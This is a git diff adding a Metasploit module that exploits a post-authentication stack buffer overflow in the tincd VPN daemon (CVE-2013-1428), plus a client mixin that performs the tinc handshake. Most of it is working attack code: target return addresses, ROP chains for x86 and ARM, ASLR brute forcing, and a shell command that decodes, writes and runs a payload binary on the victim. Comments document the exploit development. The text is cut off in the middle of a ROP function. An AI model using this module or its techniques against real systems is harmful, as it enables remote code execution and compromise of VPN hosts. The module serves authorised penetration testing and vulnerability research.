diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 7599c46711..d2b8c575c6 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -59,6 +59,7 @@ require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' require 'msf/core/exploit/sip' +require 'msf/core/exploit/tincd' # Telephony require 'msf/core/exploit/dialup' diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb new file mode 100644 index 0000000000..477c848962 --- /dev/null +++ b/lib/msf/core/exploit/tincd.rb @@ -0,0 +1,341 @@ +require 'msf/core' +require 'msf/core/exploit/tcp' + +require 'securerandom' +require 'openssl' +require 'digest/sha1' + +module Msf +# This module does a handshake with a tincd server and sends one padded packet +# Author: Tobias Ospelt @floyd_ch +module Exploit::Remote::TincdExploitClient + include Msf::Exploit::Remote::Tcp + + BF_BLOCKSIZE = 64 / 8 + BF_KEY_LEN = 16 + BF_IV_LEN = 8 + + # + # Module options + # + def initialize(info = {}) + super + register_options( + [Opt::RPORT(655), + # As this is only for post-auth exploits, you should know the value of the + # following variables by simply checking + # your configuration. + OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']), + OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']), + # You should see CLIENT_NAME in cleartext in the first message to the + # server by your usual tinc client (tcpdump or + # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server, + # this is located in the config folder, e.g. in FreeBSD + # there is the client public key file /usr/local/etc/tinc/hosts/home + # for the client "home" + # If you don't have a clue, maybe just try the filename of your private + # key without file extension + OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , '']) + ], self + ) + end + + # + # Setting up variables and calling cipher inits with file paths from configuration + # + def setup_ciphers + @state = :id_state + @buffer = '' + @inbuffer = '' + @encryption_queue = [] + + @packet_payload = nil + @keep_reading_socket = false + + @server_key_len = nil + @client_key_len = nil + @client_private_key_cipher = nil + @hex_enc_key_s1 = nil + @bf_enc_cipher = nil + init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE']) + vprint_status('Ciphers locally initalized, private key and public key files seem to be ok') + @bf_dec_cipher = nil + end + + # + # The main method that will be called that will call other methods to send first message + # and continously read from socket and ensures TCP disconnect at the end + # + def send_recv(packet_payload) + @packet_payload = packet_payload + @keep_reading_socket = true + connect + begin + # send the first message + id + # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout? + while @keep_reading_socket + process_data(sock.get_once) + end + rescue Errno::ECONNRESET + if @state == :metakey_state + fail 'Server reset the connection. Probably rejecting ' + + 'the private key and/or client name (e.g. client name not associated ' + + 'with client public key on server side). ' + + 'Wrong server public key possible too. ' + + 'Please recheck client name, client private key and ' + + 'server public key.' + else + fail 'Server reset the connection, reason unknown.' + end + ensure + disconnect + end + end + + # + # Reading of certificate files and parsing them, generation of random keys + # and intialization of OFB mode blowfish cipher + # + def init_ciphers(server_file, client_file) + server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) + @server_key_len = server_public_key_cipher.n.num_bytes + @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file)) + @client_key_len = @client_private_key_cipher.n.num_bytes + vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge") + vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length") + + # we don't want this to happen here: + # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError) + # simple solution: choose the key_s1 with a leading zero byte + key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1) + enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING) + + @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0] + + offset_key = @server_key_len - BF_KEY_LEN + offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN + bf_enc_key = key_s1[offset_key...@server_key_len] + bf_enc_iv = key_s1[offset_iv...offset_key] + + @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB') + @bf_enc_cipher.encrypt + @bf_enc_cipher.key = bf_enc_key + @bf_enc_cipher.iv = bf_enc_iv + + # #Looks like ruby openssl supports other lengths than multiple of 8! + # test = @bf_enc_cipher.update('A'*10) + # test << @bf_enc_cipher.final + # puts "Testing cipher: "+test.unpack('H*')[0] + end + + # + # Depending on the state of the protocol handshake and the data we get back + # from the server, this method will decide which message has to be sent next + # + def process_data(data) + @inbuffer += data if data + case @state + when :id_state + if line? + data = read_line + vprint_status("Received ID from server: [#{data[0..30]}]") + @state = :metakey_state + # next expected state + metakey + end + when :metakey_state + if line? + data = read_line + vprint_status("Received Metakey from server: [#{data[0..30]}...]") + data = data.split(' ') + fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1' + hexkey_s2 = data[5].rstrip # ("\n") + fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 + @enckey_s2 = [hexkey_s2].pack('H*') + key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING) + + # metakey setup according to protocol_auth.c + # if(!EVP_DecryptInit(c->inctx, c->incipher, + # (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer + # (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer + # )) + offset_key = @client_key_len - BF_KEY_LEN + offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN + bf_dec_key = key_s2[offset_key...@client_key_len] + bf_dec_iv = key_s2[offset_iv...offset_key] + + @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB' + @bf_dec_cipher.encrypt + @bf_dec_cipher.key = bf_dec_key + @bf_dec_cipher.iv = bf_dec_iv + # don't forget, it *does* matter if you do a + # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. + vprint_status('Metakey handshake/exchange completed') + @state = :challenge_state + challenge + end + when :challenge_state + need_len = 2 * @client_key_len + 3 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge from server: " + + "[#{data.unpack('H*')[0][0..30]}...]") + data = data.split(' ', 2) + fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2' + challenge2 = data[1][0...2 * @client_key_len] + challenge2 = [challenge2].pack('H*') + fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len + @state = :challenge_reply_state + challenge_reply(challenge2) + end + when :challenge_reply_state + need_len = 43 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge reply from server:" + + " [#{data.unpack('H*')[0][0..30]}...]") + @state = :ack_state + ack + end + when :ack_state + need_len = 12 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received ack (server accepted challenge response):" + + "[#{data.unpack('H*')[0][0..30]}...]") + @state = :done_state + send_packet + end + end + end + + # + # Encryption queue where waiting data gets encrypted and afterwards + # the remaining messages get sent + # + def handle_write + # handle encryption queue first + unless @encryption_queue.empty? + msg = @encryption_queue[0] + @encryption_queue.delete_at(0) + @buffer = @bf_enc_cipher.update(msg) + @buffer << @bf_enc_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to encrypt the next block. + end + + unless @buffer.empty? + sent = send_data(@buffer) + vprint_status("Sent #{sent} bytes: " + + "[#{@buffer.unpack('H*')[0][0..30]}...]") + @buffer = @buffer[sent..@buffer.length] + end + end + + # + # Simple socket put/write + # + def send_data(buf) + sock.put(buf) + end + + # + # Decryption method to process data sent by server + # + def pop_inbuffer_and_decrypt(size) + # In ruby openssl OFM works not only on full blocks, but also on + # parts. Therefore no worries like in pycrypto and no + # modified decrypt routine, simply use the cipher as is. + data = @bf_dec_cipher.update(@inbuffer.slice!(0, size)) + data << @bf_dec_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to decrypt the next block. + end + + # + # Read up to the next newline from the data the server sent + # + def read_line + idx = @inbuffer.index("\n") + data = @inbuffer.slice!(0, idx) + @inbuffer.lstrip! + data + end + + # + # Check if we already received a newline, meaning we got an + # entire message for the next protocol step + # + def line? + !!(@inbuffer.match("\n")) + end + + # + # Start message method after TCP handshake + # + def id + msg = "0 #{datastore['CLIENT_NAME']} 17.0\n" + vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]") + @buffer += msg + handle_write + end + + # + # Sending metakey (transferring a symmetric key that will get encrypted with + # public key before beeing sent to the server) + # + def metakey + msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n" + vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]") + @buffer += msg + handle_write + end + + # + # Send challenge random bytes + # + def challenge + vprint_status('Sending challenge (ciphertext)') + challenge = SecureRandom.random_bytes(@server_key_len) + msg = "2 #{challenge.unpack('H*')[0]}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Reply to challenge that was sent by server + # + def challenge_reply(challenge2) + vprint_status('Sending challenge reply (ciphertext)') + h = Digest::SHA1.hexdigest(challenge2) + msg = "3 #{h.upcase}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Ack state to signalise challenge/response was successfull + # + def ack + vprint_status('Sending ack (signalise server that we accept challenge' + + 'reply, ciphertext)') + @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") + handle_write + end + + # + # Sending a packet inside the VPN connection after successfull protocol setup + # + def send_packet + vprint_status('Protocol finished setup. Going to send packet.') + msg = "17 #{@packet_payload.length}\n#{@packet_payload}" + plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE) + # padding + msg += 'B' * plen + @encryption_queue.push(msg) + @keep_reading_socket = false + handle_write + end +end +end diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb new file mode 100644 index 0000000000..f0881bcd90 --- /dev/null +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -0,0 +1,527 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'securerandom' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::TincdExploitClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Tinc's tincd + service. After authentication, a specially crafted tcp packet (default port 655) + leads to a buffer overflow and allows to execute arbitrary code. This module has + been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 + (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of + FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works + for all versions <= 1.1pre6. + A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to + be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd + was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module + it was recommended to the maintainer to start using DEP/ASLR and other protection + mechanisms. + }, + 'Author' => + [ + # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module + 'Tobias Ospelt ', # @floyd_ch + # original finding, python PoC crash + 'Martin Schobert ' # @nitram2342 + ], + 'References' => + [ + ['CVE', '2013-1428'], + ['OSVDB', '92653'], + ['BID', '59369'], + ['URL', 'http://www.floyd.ch/?p=741'], + ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], + ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'Space' => 1675, + 'DisableNops' => true + }, + 'Privileged' => true, + 'Targets' => + [ + # full exploitation x86: + ['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }], + ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', { + 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', { + 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }], + ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }], + # full exploitation ARM: + ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + # crash only: + ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }] + ], + 'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013 + 'DefaultTarget' => 0)) + + register_options( + [ # Only for shellcodes that write binary to disk + # Has to be short, usually either . or /tmp works + # /tmp could be mounted as noexec + # . is usually only working if tincd is running as root + OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']), + OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), + OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) + ], self + ) + end + + def exploit + # # + # x86 + # # + # WINDOWS XP and 7 full exploitation + # Simple, we only need some mona.py magic + # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5" + # !mona config -set workingfolder c:\logs\%p + # !mona pc 1682 + # --> C:\logs\tincd\pattern + # !mona findmsp + # Straight forward, when we overwrite EIP the second value + # on the stack is pointing to our payload. + # !mona findwild -o -type instr -s "pop r32# ret" + + # FREEBSD full exploitation + # Same offset as windows, same exploitation method + # But we needed a new pop r32# ret for the freebsd version + # No mona.py help on bsd or linux so: + # - Dumped .text part of tincd binary in gdb + # - Search in hex editor for opcodes for "pop r32# ret": + # 58c3, 59c3, ..., 5fc3 + # - Found a couple of 5dc3. ret = start of .text + offset in hex editor + # - 0x0804BABB works very well + + # UBUNTU crash only + # Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because + # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known + # at compile time. gcc is introducing a call to __memcpy_chk: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print + # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed + # from the repository. It might be exploitable for versions compiled with an older version of gcc. + # memcpy_chk seems to be in gcc since 2005: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088 + + # OPENSUSE + # OpenSuse 11.2 + # Installation as described on the tincd website. For 11.2 there are two versions. + # Decided for 1.0.16 as this is a vulnerable version + # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm" + # rpm -i tinc-1.0.16-3.1.i586.rpm + # Again, strace shows us that the buffer overflow was detected (see Ubuntu) + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # So a crash-only non-exploitable bof here. So let's go for manual install: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install + # Exploitable. Let's see: + # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means: + # the offset to pop ebp; ret is 0x0804b07f + + # FEDORA + # Fedora 16 + # yum has version 1.0.19 + # yum install tinc + # Non-exploitable crash, see Ubuntu. Strace tells us: + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23 + # Manual compile went on with Fedora 19 + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install + # Don't forget to stop firewalld for testing, as the port is still closed otherwise + # # hardening-check tincd + # tincd: + # Position Independent Executable: no, normal executable! + # Stack protected: no, not found! + # Fortify Source functions: no, only unprotected functions found! + # Read-only relocations: yes + # Immediate binding: no, not found! + # Running this module with target set to Windows: + # Program received signal SIGSEGV, Segmentation fault. + # 0x0041caa6 in ?? () + # well and that's our windows offset... + # (gdb) info proc mappings + # 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd + # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we + # can try to execute the payload on the stack, but: + # (gdb) stepi + # Program received signal SIGSEGV, Segmentation fault. + # 0x08e8ee08 in ?? () + # Digging deeper we find: + # dmesg | grep protection + # [ 0.000000] NX (Execute Disable) protection: active + # or: + # # objdump -x /usr/local/sbin/tincd + # [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 + # filesz 0x00000000 memsz 0x00000000 flags rw- + # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365 + # Time for ROP + # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode + # as a pointer to instructions). Was lucky after some searching: + # (gdb) x/10i 0x4d10ee87 + # 0x4d10ee87: pop %ebx + # 0x4d10ee88: mov $0xf5d299dd,%eax + # 0x4d10ee8d: rcr %cl,%al + # 0x4d10ee8f: pop %esp + # 0x4d10ee90: ret + + # ARCHLINUX + # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # pacman -S gcc zlib lzo openssl make && ./configure && make && make install + # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000 + # -->Ret: 0x8065929 + # No NX protection, it simply runs the shellcode :) + + # # + # ARM + # # + # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi + # Although this is more for the interested reader, as Pidora development + # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs + # meaning it's an ARMv6 architecture + # yum has fixed version 1.0.21, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install + # Is the binary protected? + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/local/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd + # so again NX... but what about the system things? + # cat /proc/sys/kernel/randomize_va_space + # 2 + # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. + # This is the default setting." + # Here some examples of the address of the system function: + # 0xb6c40848 + # 0xb6cdd848 + # 0xb6c7c848 + # Looks like we would have to brute force one byte + # (gdb) info proc mappings + # 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd + # 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd + # When we exploit we get the following: + # Program received signal SIGSEGV, Segmentation fault. + # 0x90909090 in ?? () + # ok, finally a different offset to eip. Let's figure it out: + # $ tools/pattern_create.rb 1676 + # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get: + # (gdb) break *0x9000 + # Breakpoint 1 at 0x9000 + # See that our shellcode is *on* the stack: + # (gdb) x/10x $sp + # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698 + # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode + # 0xbee14328: 0xe3a02006 0xe3a07001 + # let's explore the code we can reuse: + # (gdb) info functions + # objdump -d /usr/local/sbin/tincd >assembly.txt + # while simply searching for the bx instruction we were not very lucky, + # but searching for some "pop pc" it's easy to find nice gadgets. + # we can write arguments to the .data section again: + # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS + # The problem is we can not reliably forecast the system function's address, but it's + # only one byte random, therefore we have to brute force it and/or find a memory leak. + # Let's assume it's a restarting daemon: + # create /etc/systemd/system/tincd.service and fill in Restart=restart-always + + # ARM Debian Wheezy on qemu + # root@debian:~# apt-cache showpkg tinc + # Package: tinc + # Versions: + # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages) + # nice, that's vulnerable + # apt-get install tinc + # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd + # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here + + packet_payload = payload.encoded + # Pidora and Fedora/ROP specific things + if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/ + rop_generator = nil + filename = rand_text_alpha(1) + cd = "cd #{datastore['BINARY_DROP_LOCATION']};" + cd = '' if datastore['BINARY_DROP_LOCATION'] == '.' + + if target.name =~ /Pidora 18/ + print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18') + print_status('This requires a restarting tincd daemon!') + print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore') + rop_generator = method(:create_pidora_rop) + elsif target.name =~ /Fedora 19/ + print_status('Using ROP to defeat NX on Fedora 19') + rop_generator = method(:create_fedora_rop) + end + + if target.arch.include? ARCH_CMD + # The CMD payloads are a bit tricky on Fedora. As of december 2013 + # some of the generic unix payloads (e.g. reverse shell with awk) don't work + # (even when executed directly in a terminal on Fedora) + # use generic/custom and specify PAYLOADSTR without single quotes + # it's usually sh -c *bla* + packet_payload = create_fedora_rop(payload.encoded.split(' ', 3)) + else + # the binary drop payloads + packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator) + if packet_payload.length > target['offset'] + print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version") + packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + vprint_status("Achieved version with #{packet_payload.length} bytes") + end + end + end + + if packet_payload.length > target['offset'] + fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.") + end + injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V') + + vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...") + + if target.name =~ /Pidora 18/ + # we have to brute force to defeat ASLR + datastore['BRUTEFORCE_TRIES'].times do + print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)") + setup_ciphers + print_status('Telling tinc exploit client to connect, handshake and send the payload') + begin + send_recv(injection) + rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error + print_error(runtime_error.message) + print_error(runtime_error.backtrace.join("\n\t")) + rescue Rex::ConnectionRefused + print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.') + sleep(3) + next + end + secs = datastore['WAIT'] + print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)") + sleep(secs) + end + print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.") + else + # Setup local ciphers + print_status('Initializing tinc exploit client (setting up ciphers)') + setup_ciphers + # The tincdExploitClient will do the crypto handshake with the server and + # send the injection (a packet), where the actual buffer overflow is triggered + print_status('Telling tinc exploit client to connect, handshake and send the payload') + send_recv(injection) + end + print_status('Exploit finished') + end + + def get_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_base64 = Rex::Text.encode_base64(generate_payload_exe) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe)) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def create_pidora_rop(sys_execv_args) + sys_execv_args = sys_execv_args.join(' ') + sys_execv_args += "\x00" + + aslr_byte_guess = SecureRandom.random_bytes(1).ord + print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)") + + # Gadgets tincd + # c714: e1a00004 mov r0, r4 + # c718: e8bd8010 pop {r4, pc} + mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V') + pop_r4_ret = [0x0000c718].pack('V') + # 1cef4: e580400c str r4, [r0, #12] + # 1cef8: e8bd8010 pop {r4, pc} + # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V') + + # bba0: e5843000 str r3, [r4] + # bba4: e8bd8010 pop {r4, pc} + mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V') + + # 13ccc: e1a00003 mov r0, r3 + # 13cd0: e8bd8008 pop {r3, pc} + pop_r3_ret = [0x00013cd0].pack('V') + + # address to start rop (removing 6 addresses of garbage from stack) + # 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc} + # start_rop = [0x00015cb4].pack('V') + # see target Ret + + # system function address base to brute force + # roughly 500 tests showed addresses between + # 0xb6c18848 and 0xb6d17848 (0xff distance) + system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V') + + # pointer into .data section + loc_dot_data = 0x0002b3f0 # a location inside .data + + # Rop into system(), prepare address of payload in r0 + rop = '' + + # first, let's put the payload into the .data section + + # Put the first location to write to in r4 + rop += pop_r4_ret + + sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Give location inside .data via stack + rop += [loc_dot_data + i * 4].pack('V') + # Pop 4 bytes of the command into r3 + rop += pop_r3_ret + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_r4_addr_pop_r4_ret + end + + # put the address of the payload into r4 + rop += [loc_dot_data].pack('V') + + # now move r4 to r0 + rop += mov_r0_r4_pop_r4_ret + rop += rand_text_alpha(4) + # we don't care what ends up in r4 now + + # call system + rop += system_addr + end + + def create_fedora_rop(sys_execv_args) + # Gadgets tincd + loc_dot_data = 0x80692e0 # a location inside .data + pop_eax = [0x8065969].pack('V') # pop eax; ret + pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret + pop_ecx = [0x804e113].pack('V') # pop ecx; ret + xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret + # This one destroys ebx: + mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret + # + + # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e + xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret + # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret + # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret + + # Gadgets libc.so.6 libc-2.17.so + pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret + int_80 = [0x4b6049c5].pack('V') # int 0x80 + + # Linux kernel system call 11: sys_execve + # ROP + 